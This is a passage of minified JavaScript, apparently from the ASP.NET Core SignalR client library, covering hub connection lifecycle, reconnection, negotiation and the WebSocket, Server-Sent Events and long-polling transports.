url.");this.connection.baseUrl=n}start(){return this._startPromise=this._startWithStateTransitions(),this._startPromise}async _startWithStateTransitions(){if(this._connectionState!==i.Disconnected)return Promise.reject(new Error("Cannot start a HubConnection that is not in the 'Disconnected' state."));this._connectionState=i.Connecting;this._logger.log(n.Debug,"Starting HubConnection.");try{await this._startInternal();r.isBrowser&&window.document.addEventListener("freeze",this._freezeEventListener);this._connectionState=i.Connected;this._connectionStarted=!0;this._logger.log(n.Debug,"HubConnection connected successfully.")}catch(t){return this._connectionState=i.Disconnected,this._logger.log(n.Debug,`HubConnection failed to start successfully because of error '${t}'.`),Promise.reject(t)}}async _startInternal(){this._stopDuringStartError=undefined;this._receivedHandshakeResponse=!1;const i=new Promise((n,t)=>{this._handshakeResolver=n,this._handshakeRejecter=t});await this.connection.start(this._protocol.transferFormat);try{let t=this._protocol.version;this.connection.features.reconnect||(t=1);const r={protocol:this._protocol.name,version:t};if(this._logger.log(n.Debug,"Sending handshake request."),await this._sendMessage(this._handshakeProtocol.writeHandshakeRequest(r)),this._logger.log(n.Information,`Using HubProtocol '${this._protocol.name}'.`),this._cleanupTimeout(),this._resetTimeoutPeriod(),this._resetKeepAliveInterval(),await i,this._stopDuringStartError)throw this._stopDuringStartError;const u=this.connection.features.reconnect||!1;u&&(this._messageBuffer=new si(this._protocol,this.connection,this._statefulReconnectBufferSize),this.connection.features.disconnected=this._messageBuffer._disconnected.bind(this._messageBuffer),this.connection.features.resend=()=>{if(this._messageBuffer)return this._messageBuffer._resend()});this.connection.features.inherentKeepAlive||await this._sendMessage(this._cachedPingMessage)}catch(t){this._logger.log(n.Debug,`Hub handshake failed with error '${t}' during start(). Stopping HubConnection.`);this._cleanupTimeout();this._cleanupPingTimer();await this.connection.stop(t);throw t;}}async stop(){const n=this._startPromise;this.connection.features.reconnect=!1;this._stopPromise=this._stopInternal();await this._stopPromise;try{await n}catch(t){}}_stopInternal(t){if(this._connectionState===i.Disconnected)return this._logger.log(n.Debug,`Call to HubConnection.stop(${t}) ignored because it is already in the disconnected state.`),Promise.resolve();if(this._connectionState===i.Disconnecting)return this._logger.log(n.Debug,`Call to HttpConnection.stop(${t}) ignored because the connection is already in the disconnecting state.`),this._stopPromise;const r=this._connectionState;return(this._connectionState=i.Disconnecting,this._logger.log(n.Debug,"Stopping HubConnection."),this._reconnectDelayHandle)?(this._logger.log(n.Debug,"Connection stopped during reconnect delay. Done reconnecting."),clearTimeout(this._reconnectDelayHandle),this._reconnectDelayHandle=undefined,this._completeClose(),Promise.resolve()):(r===i.Connected&&this._sendCloseMessage(),this._cleanupTimeout(),this._cleanupPingTimer(),this._stopDuringStartError=t||new o("The connection was stopped before the hub handshake could complete."),this.connection.stop(t))}async _sendCloseMessage(){try{await this._sendWithProtocol(this._createCloseMessage())}catch{}}stream(n,...i){const[e,o]=this._replaceStreamingParams(i),u=this._createStreamInvocation(n,i,o);let f;const r=new st;return r.cancelCallback=()=>{const n=this._createCancelInvocation(u.invocationId);return delete this._callbacks[u.invocationId],f.then(()=>this._sendWithProtocol(n))},this._callbacks[u.invocationId]=(n,i)=>{if(i){r.error(i);return}n&&(n.type===t.Completion?n.error?r.error(new Error(n.error)):r.complete():r.next(n.item))},f=this._sendWithProtocol(u).catch(n=>{r.error(n),delete this._callbacks[u.invocationId]}),this._launchStreams(e,f),r}_sendMessage(n){return this._resetKeepAliveInterval(),this.connection.send(n)}_sendWithProtocol(n){return this._messageBuffer?this._messageBuffer._send(n):this._sendMessage(this._protocol.writeMessage(n))}send(n,...t){const[r,u]=this._replaceStreamingParams(t),i=this._sendWithProtocol(this._createInvocation(n,t,!0,u));return this._launchStreams(r,i),i}invoke(n,...i){const[u,f]=this._replaceStreamingParams(i),r=this._createInvocation(n,i,!1,f);return new Promise((n,i)=>{this._callbacks[r.invocationId]=(r,u)=>{if(u){i(u);return}r&&(r.type===t.Completion?r.error?i(new Error(r.error)):n(r.result):i(new Error(`Unexpected message type: ${r.type}`)))};const f=this._sendWithProtocol(r).catch(n=>{i(n),delete this._callbacks[r.invocationId]});this._launchStreams(u,f)})}on(n,t){n&&t&&(n=n.toLowerCase(),this._methods[n]||(this._methods[n]=[]),this._methods[n].indexOf(t)===-1)&&this._methods[n].push(t)}off(n,t){if(n){n=n.toLowerCase();const i=this._methods[n];if(i)if(t){const r=i.indexOf(t);r!==-1&&(i.splice(r,1),i.length===0&&delete this._methods[n])}else delete this._methods[n]}}onclose(n){n&&this._closedCallbacks.push(n)}onreconnecting(n){n&&this._reconnectingCallbacks.push(n)}onreconnected(n){n&&this._reconnectedCallbacks.push(n)}_processIncomingData(i){if(this._cleanupTimeout(),this._receivedHandshakeResponse||(i=this._processHandshakeResponse(i),this._receivedHandshakeResponse=!0),i){const r=this._protocol.parseMessages(i,this._logger);for(const i of r)if(!this._messageBuffer||this._messageBuffer._shouldProcessMessage(i))switch(i.type){case t.Invocation:this._invokeClientMethod(i).catch(t=>{this._logger.log(n.Error,`Invoke client method threw error: ${tt(t)}`)});break;case t.StreamItem:case t.Completion:{const r=this._callbacks[i.invocationId];if(r){i.type===t.Completion&&delete this._callbacks[i.invocationId];try{r(i)}catch(u){this._logger.log(n.Error,`Stream callback threw error: ${tt(u)}`)}}break}case t.Ping:break;case t.Close:{this._logger.log(n.Information,"Close message received from server.");const t=i.error?new Error("Server returned an error on close: "+i.error):undefined;i.allowReconnect===!0?this.connection.stop(t):this._stopPromise=this._stopInternal(t);break}case t.Ack:this._messageBuffer&&this._messageBuffer._ack(i);break;case t.Sequence:this._messageBuffer&&this._messageBuffer._resetSequence(i);break;default:this._logger.log(n.Warning,`Invalid message type: ${i.type}.`)}}this._resetTimeoutPeriod()}_processHandshakeResponse(t){let i,r;try{[r,i]=this._handshakeProtocol.parseHandshakeResponse(t)}catch(u){const t="Error parsing handshake response: "+u;this._logger.log(n.Error,t);const i=new Error(t);this._handshakeRejecter(i);throw i;}if(i.error){const t="Server returned handshake error: "+i.error;this._logger.log(n.Error,t);const r=new Error(t);this._handshakeRejecter(r);throw r;}else this._logger.log(n.Debug,"Server handshake complete.");return this._handshakeResolver(),r}_resetKeepAliveInterval(){this.connection.features.inherentKeepAlive||(this._nextKeepAlive=(new Date).getTime()+this.keepAliveIntervalInMilliseconds,this._cleanupPingTimer())}_resetTimeoutPeriod(){if((!this.connection.features||!this.connection.features.inherentKeepAlive)&&(this._timeoutHandle=setTimeout(()=>this.serverTimeout(),this.serverTimeoutInMilliseconds),this._pingServerHandle===undefined)){let n=this._nextKeepAlive-(new Date).getTime();n<0&&(n=0);this._pingServerHandle=setTimeout(async()=>{if(this._connectionState===i.Connected)try{await this._sendMessage(this._cachedPingMessage)}catch{this._cleanupPingTimer()}},n)}}serverTimeout(){this.connection.stop(new Error("Server timeout elapsed without receiving a message from the server."))}async _invokeClientMethod(t){const i=t.target.toLowerCase(),e=this._methods[i];if(!e){this._logger.log(n.Warning,`No client method with the name '${i}' found.`);t.invocationId&&(this._logger.log(n.Warning,`No result given for '${i}' method and invocation ID '${t.invocationId}'.`),await this._sendWithProtocol(this._createCompletionMessage(t.invocationId,"Client didn't provide a result.",null)));return}const s=e.slice(),o=t.invocationId?!0:!1;let u,f,r;for(const h of s)try{const e=u;u=await h.apply(this,t.arguments);o&&u&&e&&(this._logger.log(n.Error,`Multiple results provided for '${i}'. Sending error to server.`),r=this._createCompletionMessage(t.invocationId,`Client provided multiple results.`,null));f=undefined}catch(e){f=e;this._logger.log(n.Error,`A callback for the method '${i}' threw error '${e}'.`)}r?await this._sendWithProtocol(r):o?(f?r=this._createCompletionMessage(t.invocationId,`${f}`,null):u!==undefined?r=this._createCompletionMessage(t.invocationId,null,u):(this._logger.log(n.Warning,`No result given for '${i}' method and invocation ID '${t.invocationId}'.`),r=this._createCompletionMessage(t.invocationId,"Client didn't provide a result.",null)),await this._sendWithProtocol(r)):u&&this._logger.log(n.Error,`Result given for '${i}' method but server is not expecting a result.`)}_connectionClosed(t){this._logger.log(n.Debug,`HubConnection.connectionClosed(${t}) called while in state ${this._connectionState}.`);this._stopDuringStartError=this._stopDuringStartError||t||new o("The underlying connection was closed before the hub handshake could complete.");this._handshakeResolver&&this._handshakeResolver();this._cancelCallbacksWithError(t||new Error("Invocation canceled due to the underlying connection being closed."));this._cleanupTimeout();this._cleanupPingTimer();this._connectionState===i.Disconnecting?this._completeClose(t):this._connectionState===i.Connected&&this._reconnectPolicy?this._reconnect(t):this._connectionState===i.Connected&&this._completeClose(t)}_completeClose(t){if(this._connectionStarted){this._connectionState=i.Disconnected;this._connectionStarted=!1;this._messageBuffer&&(this._messageBuffer._dispose(t!==null&&t!==void 0?t:new Error("Connection closed.")),this._messageBuffer=undefined);r.isBrowser&&window.document.removeEventListener("freeze",this._freezeEventListener);try{this._closedCallbacks.forEach(n=>n.apply(this,[t]))}catch(u){this._logger.log(n.Error,`An onclose callback called with error '${t}' threw error '${u}'.`)}}}async _reconnect(t){const o=Date.now();let f=0,e=t!==undefined?t:new Error("Attempting to reconnect due to a unknown error."),u=this._getNextRetryDelay(f++,0,e);if(u===null){this._logger.log(n.Debug,"Connection not reconnecting because the IRetryPolicy returned null on the first reconnect attempt.");this._completeClose(t);return}if(this._connectionState=i.Reconnecting,t?this._logger.log(n.Information,`Connection reconnecting because of error '${t}'.`):this._logger.log(n.Information,"Connection reconnecting."),this._reconnectingCallbacks.length!==0){try{this._reconnectingCallbacks.forEach(n=>n.apply(this,[t]))}catch(r){this._logger.log(n.Error,`An onreconnecting callback called with error '${t}' threw error '${r}'.`)}if(this._connectionState!==i.Reconnecting){this._logger.log(n.Debug,"Connection left the reconnecting state in onreconnecting callback. Done reconnecting.");return}}while(u!==null){if(this._logger.log(n.Information,`Reconnect attempt number ${f} will start in ${u} ms.`),await new Promise(n=>{this._reconnectDelayHandle=setTimeout(n,u)}),this._reconnectDelayHandle=undefined,this._connectionState!==i.Reconnecting){this._logger.log(n.Debug,"Connection left the reconnecting state during reconnect delay. Done reconnecting.");return}try{if(await this._startInternal(),this._connectionState=i.Connected,this._logger.log(n.Information,"HubConnection reconnected successfully."),this._reconnectedCallbacks.length!==0)try{this._reconnectedCallbacks.forEach(n=>n.apply(this,[this.connection.connectionId]))}catch(r){this._logger.log(n.Error,`An onreconnected callback called with connectionId '${this.connection.connectionId}; threw error '${r}'.`)}return}catch(r){if(this._logger.log(n.Information,`Reconnect attempt failed because of error '${r}'.`),this._connectionState!==i.Reconnecting){this._logger.log(n.Debug,`Connection moved to the '${this._connectionState}' from the reconnecting state during reconnect attempt. Done reconnecting.`);this._connectionState===i.Disconnecting&&this._completeClose();return}e=r instanceof Error?r:new Error(r.toString());u=this._getNextRetryDelay(f++,Date.now()-o,e)}}this._logger.log(n.Information,`Reconnect retries have been exhausted after ${Date.now()-o} ms and ${f} failed attempts. Connection disconnecting.`);this._completeClose()}_getNextRetryDelay(t,i,r){try{return this._reconnectPolicy.nextRetryDelayInMilliseconds({elapsedMilliseconds:i,previousRetryCount:t,retryReason:r})}catch(u){return this._logger.log(n.Error,`IRetryPolicy.nextRetryDelayInMilliseconds(${t}, ${i}) threw error '${u}'.`),null}}_cancelCallbacksWithError(t){const i=this._callbacks;this._callbacks={};Object.keys(i).forEach(r=>{const u=i[r];try{u(null,t)}catch(f){this._logger.log(n.Error,`Stream 'error' callback called with '${t}' threw error: ${tt(f)}`)}})}_cleanupPingTimer(){this._pingServerHandle&&(clearTimeout(this._pingServerHandle),this._pingServerHandle=undefined)}_cleanupTimeout(){this._timeoutHandle&&clearTimeout(this._timeoutHandle)}_createInvocation(n,i,r,u){if(r)return u.length!==0?{arguments:i,streamIds:u,target:n,type:t.Invocation}:{arguments:i,target:n,type:t.Invocation};else{const r=this._invocationId;return this._invocationId++,u.length!==0?{arguments:i,invocationId:r.toString(),streamIds:u,target:n,type:t.Invocation}:{arguments:i,invocationId:r.toString(),target:n,type:t.Invocation}}}_launchStreams(n,t){if(n.length!==0){t||(t=Promise.resolve());for(const i in n)n[i].subscribe({complete:()=>{t=t.then(()=>this._sendWithProtocol(this._createCompletionMessage(i)))},error:n=>{let r;r=n instanceof Error?n.message:n&&n.toString?n.toString():"Unknown error";t=t.then(()=>this._sendWithProtocol(this._createCompletionMessage(i,r)))},next:n=>{t=t.then(()=>this._sendWithProtocol(this._createStreamItemMessage(i,n)))}})}}_replaceStreamingParams(n){const t=[],i=[];for(let r=0;r<n.length;r++){const u=n[r];if(this._isObservable(u)){const f=this._invocationId;this._invocationId++;t[f]=u;i.push(f.toString());n.splice(r,1)}}return[t,i]}_isObservable(n){return n&&n.subscribe&&typeof n.subscribe=="function"}_createStreamInvocation(n,i,r){const u=this._invocationId;return this._invocationId++,r.length!==0?{arguments:i,invocationId:u.toString(),streamIds:r,target:n,type:t.StreamInvocation}:{arguments:i,invocationId:u.toString(),target:n,type:t.StreamInvocation}}_createCancelInvocation(n){return{invocationId:n,type:t.CancelInvocation}}_createStreamItemMessage(n,i){return{invocationId:n,item:i,type:t.StreamItem}}_createCompletionMessage(n,i,r){return i?{error:i,invocationId:n,type:t.Completion}:{invocationId:n,result:r,type:t.Completion}}_createCloseMessage(){return{type:t.Close}}}const vi=[0,2e3,1e4,3e4,null];class ht{constructor(n){this._retryDelays=n!==undefined?[...n,null]:vi}nextRetryDelayInMilliseconds(n){return this._retryDelays[n.previousRetryCount]}}class a{}a.Authorization="Authorization";a.Cookie="Cookie";class yi extends p{constructor(n,t){super();this._innerClient=n;this._accessTokenFactory=t}async send(n){let t=!0;this._accessTokenFactory&&(!this._accessToken||n.url&&n.url.indexOf("/negotiate?")>0)&&(t=!1,this._accessToken=await this._accessTokenFactory());this._setAuthorizationHeader(n);const i=await this._innerClient.send(n);return t&&i.statusCode===401&&this._accessTokenFactory?(this._accessToken=await this._accessTokenFactory(),this._setAuthorizationHeader(n),await this._innerClient.send(n)):i}_setAuthorizationHeader(n){n.headers||(n.headers={});this._accessToken?n.headers[a.Authorization]=`Bearer ${this._accessToken}`:this._accessTokenFactory&&n.headers[a.Authorization]&&delete n.headers[a.Authorization]}getCookieString(n){return this._innerClient.getCookieString(n)}}(function(n){n[n.None=0]="None";n[n.WebSockets=1]="WebSockets";n[n.ServerSentEvents=2]="ServerSentEvents";n[n.LongPolling=4]="LongPolling"})(f||(f={})),function(n){n[n.Text=1]="Text";n[n.Binary=2]="Binary"}(e||(e={}));class pi{constructor(){this._isAborted=!1;this.onabort=null}abort(){this._isAborted||(this._isAborted=!0,this.onabort&&this.onabort())}get signal(){return this}get aborted(){return this._isAborted}}class ct{get pollAborted(){return this._pollAbort.aborted}constructor(n,t,i){this._httpClient=n;this._logger=t;this._pollAbort=new pi;this._options=i;this._running=!1;this.onreceive=null;this.onclose=null}async connect(t,i){if(u.isRequired(t,"url"),u.isRequired(i,"transferFormat"),u.isIn(i,e,"transferFormat"),this._url=t,this._logger.log(n.Trace,"(LongPolling transport) Connecting."),i===e.Binary&&typeof XMLHttpRequest!="undefined"&&typeof(new XMLHttpRequest).responseType!="string")throw new Error("Binary protocols over XmlHttpRequest not implementing advanced features are not supported.");const[s,h]=y(),l={[s]:h,...this._options.headers},f={abortSignal:this._pollAbort.signal,headers:l,timeout:1e5,withCredentials:this._options.withCredentials};i===e.Binary&&(f.responseType="arraybuffer");const o=`${t}&_=${Date.now()}`;this._logger.log(n.Trace,`(LongPolling transport) polling: ${o}.`);const r=await this._httpClient.get(o,f);r.statusCode!==200?(this._logger.log(n.Error,`(LongPolling transport) Unexpected response code: ${r.statusCode}.`),this._closeError=new c(r.statusText||"",r.statusCode),this._running=!1):this._running=!0;this._receiving=this._poll(this._url,f)}async _poll(t,i){try{while(this._running)try{const u=`${t}&_=${Date.now()}`;this._logger.log(n.Trace,`(LongPolling transport) polling: ${u}.`);const r=await this._httpClient.get(u,i);if(r.statusCode===204)this._logger.log(n.Information,"(LongPolling transport) Poll terminated by server."),this._running=!1;else if(r.statusCode!==200)this._logger.log(n.Error,`(LongPolling transport) Unexpected response code: ${r.statusCode}.`),this._closeError=new c(r.statusText||"",r.statusCode),this._running=!1;else if(r.content){if(this._logger.log(n.Trace,`(LongPolling transport) data received. ${w(r.content,this._options.logMessageContent)}.`),this.onreceive)this.onreceive(r.content)}else this._logger.log(n.Trace,"(LongPolling transport) Poll timed out, reissuing.")}catch(r){this._running?r instanceof k?this._logger.log(n.Trace,"(LongPolling transport) Poll timed out, reissuing."):(this._closeError=r,this._running=!1):this._logger.log(n.Trace,`(LongPolling transport) Poll errored after shutdown: ${r.message}`)}}finally{this._logger.log(n.Trace,"(LongPolling transport) Polling complete.");this.pollAborted||this._raiseOnClose()}}async send(n){return this._running?ft(this._logger,"LongPolling",this._httpClient,this._url,n,this._options):Promise.reject(new Error("Cannot send until the transport is connected"))}async stop(){this._logger.log(n.Trace,"(LongPolling transport) Stopping polling.");this._running=!1;this._pollAbort.abort();try{await this._receiving;this._logger.log(n.Trace,`(LongPolling transport) sending DELETE request to ${this._url}.`);const i={},[r,u]=y();i[r]=u;const f={headers:{...i,...this._options.headers},timeout:this._options.timeout,withCredentials:this._options.withCredentials};let t;try{await this._httpClient.delete(this._url,f)}catch(e){t=e}t?t instanceof c&&(t.statusCode===404?this._logger.log(n.Trace,"(LongPolling transport) A 404 response was returned from sending a DELETE request."):this._logger.log(n.Trace,`(LongPolling transport) Error sending a DELETE request: ${t}`)):this._logger.log(n.Trace,"(LongPolling transport) DELETE request accepted.")}finally{this._logger.log(n.Trace,"(LongPolling transport) Stop finished.");this._raiseOnClose()}}_raiseOnClose(){if(this.onclose){let t="(LongPolling transport) Firing onclose event.";this._closeError&&(t+=" Error: "+this._closeError);this._logger.log(n.Trace,t);this.onclose(this._closeError)}}}class wi{constructor(n,t,i,r){this._httpClient=n;this._accessToken=t;this._logger=i;this._options=r;this.onreceive=null;this.onclose=null}async connect(t,i){return u.isRequired(t,"url"),u.isRequired(i,"transferFormat"),u.isIn(i,e,"transferFormat"),this._logger.log(n.Trace,"(SSE transport) Connecting."),this._url=t,this._accessToken&&(t+=(t.indexOf("?")<0?"?":"&")+`access_token=${encodeURIComponent(this._accessToken)}`),new Promise((u,f)=>{let s=!1;if(i!==e.Text){f(new Error("The Server-Sent Events transport only supports the 'Text' transfer format"));return}let o;if(r.isBrowser||r.isWebWorker)o=new this._options.EventSource(t,{withCredentials:this._options.withCredentials});else{const i=this._httpClient.getCookieString(t),n={};n.Cookie=i;const[r,u]=y();n[r]=u;o=new this._options.EventSource(t,{withCredentials:this._options.withCredentials,headers:{...n,...this._options.headers}})}try{o.onmessage=t=>{if(this.onreceive)try{this._logger.log(n.Trace,`(SSE transport) data received. ${w(t.data,this._options.logMessageContent)}.`);this.onreceive(t.data)}catch(i){this._close(i);return}};o.onerror=()=>{s?this._close():f(new Error("EventSource failed to connect. The connection could not be found on the server, either the connection ID is not present on the server, or a proxy is refusing/buffering the connection. If you have multiple servers check that sticky sessions are enabled."))};o.onopen=()=>{this._logger.log(n.Information,`SSE connected to ${this._url}`),this._eventSource=o,s=!0,u()}}catch(h){f(h);return}})}async send(n){return this._eventSource?ft(this._logger,"SSE",this._httpClient,this._url,n,this._options):Promise.reject(new Error("Cannot send until the transport is connected"))}stop(){return this._close(),Promise.resolve()}_close(n){if(this._eventSource&&(this._eventSource.close(),this._eventSource=undefined,this.onclose))this.onclose(n)}}class bi{constructor(n,t,i,r,u,f){this._logger=i;this._accessTokenFactory=t;this._logMessageContent=r;this._webSocketConstructor=u;this._httpClient=n;this.onreceive=null;this.onclose=null;this._headers=f}async connect(t,i){u.isRequired(t,"url");u.isRequired(i,"transferFormat");u.isIn(i,e,"transferFormat");this._logger.log(n.Trace,"(WebSockets transport) Connecting.");let f;return this._accessTokenFactory&&(f=await this._accessTokenFactory()),new Promise((u,o)=>{t=t.replace(/^http/,"ws");let s;const h=this._httpClient.getCookieString(t);let c=!1;if(r.isNode||r.isReactNative){const n={},[i,r]=y();n[i]=r;f&&(n[a.Authorization]=`Bearer ${f}`);h&&(n[a.Cookie]=h);s=new this._webSocketConstructor(t,undefined,{headers:{...n,...this._headers}})}else f&&(t+=(t.indexOf("?")<0?"?":"&")+`access_token=${encodeURIComponent(f)}`);s||(s=new this._webSocketConstructor(t));i===e.Binary&&(s.binaryType="arraybuffer");s.onopen=()=>{this._logger.log(n.Information,`WebSocket connected to ${t}.`),this._webSocket=s,c=!0,u()};s.onerror=t=>{let i=null;i=typeof ErrorEvent!="undefined"&&t instanceof ErrorEvent?t.error:"There was an error with the transport";this._logger.log(n.Information,`(WebSockets transport) ${i}.`)};s.onmessage=t=>{if(this._logger.log(n.Trace,`(WebSockets transport) data received. ${w(t.data,this._logMessageContent)}.`),this.onreceive)try{this.onreceive(t.data)}catch(i){this._close(i);return}};s.onclose=n=>{if(c)this._close(n);else{let t=null;t=typeof ErrorEvent!="undefined"&&n instanceof ErrorEvent?n.error:"WebSocket failed to connect. The connection could not be found on the server, either the endpoint may not be a SignalR endpoint, the connection ID is not present on the server, or there is a proxy blocking WebSockets. If you have multiple servers check that sticky sessions are enabled.";o(new Error(t))}}})}send(t){return this._webSocket&&this._webSocket.readyState===this._webSocketConstructor.OPEN?(this._logger.log(n.Trace,`(WebSockets transport) sending data. ${w(t,this._logMessageContent)}.`),this._webSocket.send(t),Promise.resolve()):Promise.reject("WebSocket is not in the OPEN state")}stop(){return this._webSocket&&this._close(undefined),Promise.resolve()}_close(t){if(this._webSocket&&(this._webSocket.onclose=()=>{},this._webSocket.onmessage=()=>{},this._webSocket.onerror=()=>{},this._webSocket.close(),this._webSocket=undefined),this._logger.log(n.Trace,"(WebSockets transport) socket closed."),this.onclose)if(this._isCloseEvent(t)&&(t.wasClean===!1||t.code!==1e3))this.onclose(new Error(`WebSocket closed with status code: ${t.code} (${t.reason||"no reason given"}).`));else if(t instanceof Error)this.onclose(t);else this.onclose()}_isCloseEvent(n){return n&&typeof n.wasClean=="boolean"&&typeof n.code=="number"}}const lt=100;class ki{constructor(n,t={}){if(this._stopPromiseResolver=()=>{},this.features={},this._negotiateVersion=1,u.isRequired(n,"url"),this._logger=dt(t.logger),this.baseUrl=this._resolveUrl(n),t=t||{},t.logMessageContent=t.logMessageContent===undefined?!1:t.logMessageContent,typeof t.withCredentials=="boolean"||t.withCredentials===undefined)t.withCredentials=t.withCredentials===undefined?!0:t.withCredentials;else throw new Error("withCredentials option was not a 'boolean' or 'undefined' value");t.timeout=t.timeout===undefined?1e5:t.timeout;let i=null,f=null;if(r.isNode&&!0){const n=require;i=n("ws");f=n("eventsource")}r.isNode||typeof WebSocket=="undefined"||t.WebSocket?r.isNode&&!t.WebSocket&&i&&(t.WebSocket=i):t.WebSocket=WebSocket;r.isNode||typeof EventSource=="undefined"||t.EventSource?r.isNode&&!t.EventSource&&typeof f!="undefined"&&(t.EventSource=f):t.EventSource=EventSource;this._httpClient=new yi(t.httpClient||new ot(this._logger),t.accessTokenFactory);this._connectionState="Disconnected";this._connectionStarted=!1;this._options=t;this.onreceive=null;this.onclose=null}async start(t){if(t=t||e.Binary,u.isIn(t,e,"transferFormat"),this._logger.log(n.Debug,`Starting connection with transfer format '${e[t]}'.`),this._connectionState!=="Disconnected")return Promise.reject(new Error("Cannot start an HttpConnection that is not in the 'Disconnected' state."));if(this._connectionState="Connecting",this._startInternalPromise=this._startInternal(t),await this._startInternalPromise,this._connectionState==="Disconnecting"){const t="Failed to start the HttpConnection before stop() was called.";return this._logger.log(n.Error,t),await this._stopPromise,Promise.reject(new o(t))}if(this._connectionState!=="Connected"){const t="HttpConnection.startInternal completed gracefully but didn't enter the connection into the connected state!";return this._logger.log(n.Error,t),Promise.reject(new o(t))}this._connectionStarted=!0}send(n){return this._connectionState!=="Connected"?Promise.reject(new Error("Cannot send data if the connection is not in the 'Connected' State.")):(this._sendQueue||(this._sendQueue=new at(this.transport)),this._sendQueue.send(n))}async stop(t){if(this._connectionState==="Disconnected")return this._logger.log(n.Debug,`Call to HttpConnection.stop(${t}) ignored because the connection is already in the disconnected state.`),Promise.resolve();if(this._connectionState==="Disconnecting")return this._logger.log(n.Debug,`Call to HttpConnection.stop(${t}) ignored because the connection is already in the disconnecting state.`),this._stopPromise;this._connectionState="Disconnecting";this._stopPromise=new Promise(n=>{this._stopPromiseResolver=n});await this._stopInternal(t);await this._stopPromise}async _stopInternal(t){this._stopError=t;try{await this._startInternalPromise}catch(i){}if(this.transport){try{await this.transport.stop()}catch(i){this._logger.log(n.Error,`HttpConnection.transport.stop() threw error '${i}'.`);this._stopConnection()}this.transport=undefined}else this._logger.log(n.Debug,"HttpConnection.transport is undefined in HttpConnection.stop() because start() failed.")}async _startInternal(t){let i=this.baseUrl;this._accessTokenFactory=this._options.accessTokenFactory;this._httpClient._accessTokenFactory=this._accessTokenFactory;try{if(this._options.skipNegotiation)if(this._options.transport===f.WebSockets)this.transport=this._constructTransport(f.WebSockets),await this._startTransport(i,t);else throw new Error("Negotiation can only be skipped when using the WebSocket transport directly.");else{let n=null,r=0;do{if(n=await this._getNegotiationResponse(i),this._connectionState==="Disconnecting"||this._connectionState==="Disconnected")throw new o("The connection was stopped during negotiation.");if(n.error)throw new Error(n.error);if(n.ProtocolVersion)throw new Error("Detected a connection attempt to an ASP.NET SignalR Server. This client only supports connecting to an ASP.NET Core SignalR Server. See https://aka.ms/signalr-core-differences for details.");if(n.url&&(i=n.url),n.accessToken){const t=n.accessToken;this._accessTokenFactory=()=>t;this._httpClient._accessToken=t;this._httpClient._accessTokenFactory=undefined}r++}while(n.url&&r<lt);if(r===lt&&n.url)throw new Error("Negotiate redirection limit exceeded.");await this._createTransport(i,this._options.transport,n,t)}this.transport instanceof ct&&(this.features.inherentKeepAlive=!0);this._connectionState==="Connecting"&&(this._logger.log(n.Debug,"The HttpConnection connected successfully."),this._connectionState="Connected")}catch(r){return this._logger.log(n.Error,"Failed to start the connection: "+r),this._connectionState="Disconnected",this.transport=undefined,this._stopPromiseResolver(),Promise.reject(r)}}async _getNegotiationResponse(t){const r={},[f,e]=y();r[f]=e;const u=this._resolveNegotiateUrl(t);this._logger.log(n.Debug,`Sending negotiation request: ${u}.`);try{const t=await this._httpClient.post(u,{content:"",headers:{...r,...this._options.headers},timeout:this._options.timeout,withCredentials:this._options.withCredentials});if(t.statusCode!==200)return Promise.reject(new Error(`Unexpected status code returned from negotiate '${t.statusCode}'`));const n=JSON.parse(t.content);return((!n.negotiateVersion||n.negotiateVersion<1)&&(n.connectionToken=n.connectionId),n.useStatefulReconnect&&this._options._useStatefulReconnect!==!0)?Promise.reject(new rt("Client didn't negotiate Stateful Reconnect but the server did.")):n}catch(i){let t="Failed to complete negotiation with the server: "+i;return i instanceof c&&i.statusCode===404&&(t=t+" Either this is not a SignalR endpoint or there is a proxy blocking the connection."),this._logger.log(n.Error,t),Promise.reject(new rt(t))}}_createConnectUrl(n,t){return t?n+(n.indexOf("?")===-1?"?":"&")+`id=${t}`:n}async _createTransport(t,i,r,u){let h=this._createConnectUrl(t,r.connectionToken);if(this._isITransport(i)){this._logger.log(n.Debug,"Connection was provided an instance of ITransport, using that directly.");this.transport=i;await this._startTransport(h,u);this.connectionId=r.connectionId;return}const s=[],c=r.availableTransports||[];let e=r;for(const r of c){const c=this._resolveTransportOrError(r,i,u,(e===null||e===void 0?void 0:e.useStatefulReconnect)===!0);if(c instanceof Error)s.push(`${r.transport} failed:`),s.push(c);else if(this._isITransport(c)){if(this.transport=c,!e){try{e=await this._getNegotiationResponse(t)}catch(l){return Promise.reject(l)}h=this._createConnectUrl(t,e.connectionToken)}try{await this._startTransport(h,u);this.connectionId=e.connectionId;return}catch(l){if(this._logger.log(n.Error,`Failed to start the transport '${r.transport}': ${l}`),e=undefined,s.push(new wt(`${r.transport} failed: ${l}`,f[r.transport])),this._connectionState!=="Connecting"){const t="Failed to select transport before stop() was called.";return this._logger.log(n.Debug,t),Promise.reject(new o(t))}}}}return s.length>0?Promise.reject(new bt(`Unable to connect to the server with any of the available transports. ${s.join(" ")}`,s)):Promise.reject(new Error("None of the transports supported by the client are supported by the server."))}_constructTransport(n){switch(n){case f.WebSockets:if(!this._options.WebSocket)throw new Error("'WebSocket' is not supported in your environment.");return new bi(this._httpClient,this._accessTokenFactory,this._logger,this._options.logMessageContent,this._options.WebSocket,this._options.headers||{});case f.ServerSentEvents:if(!this._options.EventSource)throw new Error("'EventSource' is not supported in your environment.");return new wi(this._httpClient,this._httpClient._accessToken,this._logger,this._options);case f.LongPolling:return new ct(this._httpClient,this._logger,this._options);default:throw new Error(`Unknown transport: ${n}.`);}}_startTransport(n,t){return this.transport.onreceive=this.onreceive,this.transport.onclose=this.features.reconnect?async i=>{let r=!1;if(this.features.reconnect)try{this.features.disconnected();await this.transport.connect(n,t);await this.features.resend()}catch{r=!0}else{this._stopConnection(i);return}r&&this._stopConnection(i)}:n=>this._stopConnection(n),this.transport.connect(n,t)}_resolveTransportOrError(t,i,r,u){const o=f[t.transport];if(o===null||o===undefined)return this._logger.log(n.Debug,`Skipping transport '${t.transport}' because it is not supported by this client.`),new Error(`Skipping transport '${t.transport}' because it is not supported by this client.`);if(di(i,o)){const i=t.transferFormats.map(n=>e[n]);if(i.indexOf(r)>=0)if((o!==f.WebSockets||this._options.WebSocket)&&(o!==f.ServerSentEvents||this._options.EventSource)){this._logger.log(n.Debug,`Selecting transport '${f[o]}'.`);try{return this.features.reconnect=o===f.WebSockets?u:undefined,this._constructTransport(o)}catch(s){return s}}else return this._logger.log(n.Debug,`Skipping transport '${f[o]}' because it is not supported in your environment.'`),new yt(`'${f[o]}' is not supported in your environment.`,o);else return this._logger.log(n.Debug,`Skipping transport '${f[o]}' because it does not support the requested transfer format '${e[r]}'.`),new Error(`'${f[o]}' does not support 